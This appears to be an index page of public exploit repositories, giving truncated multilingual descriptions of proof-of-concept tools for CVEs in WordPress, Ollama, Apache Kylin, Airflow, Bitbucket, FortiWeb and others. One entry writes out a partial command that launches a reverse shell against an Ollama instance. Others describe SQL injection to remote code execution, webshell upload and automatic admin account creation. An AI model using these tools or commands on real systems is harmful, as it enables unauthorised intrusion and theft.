CVE-2020-13937

Description Apache Kylin 2.0.0, 2.1.0, 2.2.0, 2.3.0, 2.3.1, 2.3.2, 2.4.0, 2.4.1, 2.5.0, 2.5.1, 2.5.2, 2.6.0, 2.6.1, 2.6.2, 2.6.3, 2.6.4, 2.6.5, 2.6.6, 3.0.0-alpha, 3.0.0-alpha2, 3.0.0-beta, 3.0.0, 3.0.1, 3.0.2, 3.1.0, 4.0.0-alpha has one restful api which exposed Kylin's configuration information...

CVE-2024-49328

CVE-2024-49328 WP REST API FNS ; rel="https://api.w.org/" X-Content-Type-Options: nosniff Access-Control-Expose-Headers: X-WP-Total, X-WP-TotalPages, Link Access-Control-Allow-Hea...

CVE-2024-37032_CVE-2024-45436

CVE-2024-37032 & CVE-2024-45436 Ollama RCE CVE-2024-37032 CVE-2024-45436 Nécessite d'être exécuté sous Linux, l'environnement doit avoir gcc Installer golang, exécuter la commande suivante pour lancer un shell inverse go run main.go -target http://127.0.0.1:11434/ -exec "bash -i &...

CVE-2023-5561-PoC

CVE-2023-5561-PoC WordPress ne restreint pas correctement les champs utilisateur pouvant être recherchés via l'API REST, ce qui permet à des attaquants non authentifiés de découvrir les adresses e-mail des utilisateurs ayant publié des articles publics sur un site affecté via une attaque de type...

CVE-2026-63030

CVE-2026-63030: wp2shell استغلال حقن SQL أعمى عبر فك تزامن واجهة برمجة التطبيقات بالجملة في ووردبريس أداة إثبات المفهوم لاستخراج المستخدمين وهاشات كلمات المرور عبر الثغرة CVE-2026-63030 wp2shell. معلومات الثغرة CVE : CVE-2026-63030 wp2shell CVE مرافقة : CVE-2026-60137 النوع : حقن SQL أعمى بدون...

CVE-2026-60137-WordPress-Core-SQL-Injection-PoC

CVE-2026-60137 — PoC d'injection SQL dans WordPress Core Preuve de concept non destructrice et harnais de vérification pour CVE-2026-60137 , une injection SQL aveugle dans le cœur de WordPress WPQuery::authornotin, accessible via le paramètre authorexclude de l'API REST. Cause racine...

CVE-2026-63030-WP2Shell

CVE-2026-63030 | WP2Shell exploité par gr1tx WP2Shell est une preuve de concept PoC basée sur Python pour CVE-2026-63030. Elle effectue une vérification de vulnérabilité basée sur le temps contre l'API Batch de WordPress et génère des rapports détaillés en HTML et JSON. Le projet est destiné aux...

WP2Shell

WP2Shell - CVE-2026-63030 / CVE-2026-60137 WordPress REST API Batch SQL Injection to RCE Full discovery and exploitation tool for WordPress REST API Batch endpoint vulnerability. This tool exploits a critical SQL injection vulnerability in the WordPress REST API /wp-json/batch/v1 endpoint, allowi...

CVE-2025-3102

CVE-2025-3102 🛠️ SureTriggers Exploit Script This script is used to identify and exploit security vulnerabilities in the SureTriggers plugin on WordPress sites using a vulnerable version ≤ v1.0.78. If successful, the script will automatically create a WordPress admin account. ⚙️ Features Detection...

WordPress-CVE-2026-63030-Analysis

🛡️ CVE-2026-63030: التحليل الفني والتدقيق إرشادات شاملة للتفكيك الدفاعي، وتحليل التهديدات، والتحقق غير المدمر. الملخص • المصفوفة • التحليل الفني المتعمق • التحقق • المعالجة 📑 الملخص التنفيذي !IMPORTANT لأغراض دفاعية فقط: يوفّر هذا المستودع بحثًا أكاديميًا بحتًا وإرشادات تشخيصية غير مدمرة لمساعدة...

CVE-2020-11978

CVE-2020-11978: Remote code execution in Apache Airflow's Example DAGs Information Description: This vulnerability allows RCE when Airflow's example DAGs are loaded, potentially unauthenticated with CVE-2020-13927 CVE Credit : xuxiang of DtDream security Versions Affected: On CVE-2020-13927 If...

CVE-2022-36804

CVE-2022-36804 Atlassian Bitbucket Server and Data Center - Command Injection Vulnerability CVE-2022-36804 In affected versions of Atlassian Bitbucket Server and Data Center a Command Injection Vulnerability exists in multiple API endpoints where an attacker with access to a public repository or...

FortiWeb-CVE-2025-52970-Authentication-Bypass

🚨 FortiWeb Authentication Bypass → Remote Code Execution 📌 Overview This repository demonstrates an authentication bypass in FortiWeb that can be chained to achieve Remote Code Execution RCE. The exploit leverages a vulnerable endpoint to inject SQL payloads, upload a webshell, and execute comman...

Exploit for CVE-2026-105314

Papermerge-core: Authenticated Path Traversal to Arbitrary Fil...

CyberStrikeAI

CyberStrikeAI 中文 | English Le système d'action pour la cybersécurité native à l'IA — où l'intention devient une exécution gouvernée, les preuves deviennent une mémoire opérationnelle, et chaque opération améliore la suivante. CyberStrikeAI relie la planification, l'exécution, la supervision...

wp2shell

CVE-2026-63030 + CVE-2026-60137 - "wp2shell": RCE غير مصادق عليه في نواة ووردبريس ارتباك مسار REST API CVE-2026-63030 متسلسل مع حقن SQL فيWPQuery authornotin CVE-2026-60137 → تنفيذ كود عن بُعد بدون مصادقة مسبقة على تثبيت ووردبريس افتراضي. مكتشف من قبل Adam Kues Assetnote / Searchlight Cyber، تم...

Exploit for CVE-2026-105134

CVE-2026-105134-style OS Command Injection Lab A minimal, sel...

Apache-APISIX-CVE-2022-24112

Apache APISIX Remote Code Execution CVE-2022-24112 Exploit Summary An attacker can abuse the batch-requests plugin to send requests to bypass the IP restriction of Admin API. A default configuration of Apache APISIX with default API key is vulnerable to remote code execution. When the admin key w...

CVE-2023-48084

CVE-2023-48084 يُصحّح بناء الجملة المعطوب في الـ POC، وبشكل أساسي الاستيراد غير الصحيح والإحالة غير الصحيحة إلى دوال الـ API. يؤتمت استرجاع الـ APIToken، ويخزّن الرمز المميز كمتغير ويوجّهه إلى الـ POC المُصحَّح. https://github.com/Hamibubu/CVE-2023-48084 إذا لم يعمل هذا لسبب ما، فافحص الفروقات di...

FOSKiller

███████╗ ██████╗ ███████╗██╗ ██╗██╗██╗ ██╗ ███████╗██████╗ ██╔════╝██╔═══██╗██╔════╝██║ ██╔╝██║██║ ██║ ██╔════╝██╔══██╗ █████╗ ██║ ██║███████╗█████╔╝ ██║██║ ██║ █████╗ ██████╔╝ ██╔══╝ ██║ ██║╚════██║██╔═██╗ ██║██║ ██║ ██╔══╝ ██╔══██╗ ██║ ╚██████╔╝███████║██║ ██╗██║███████╗███████╗███████╗██║ ██║...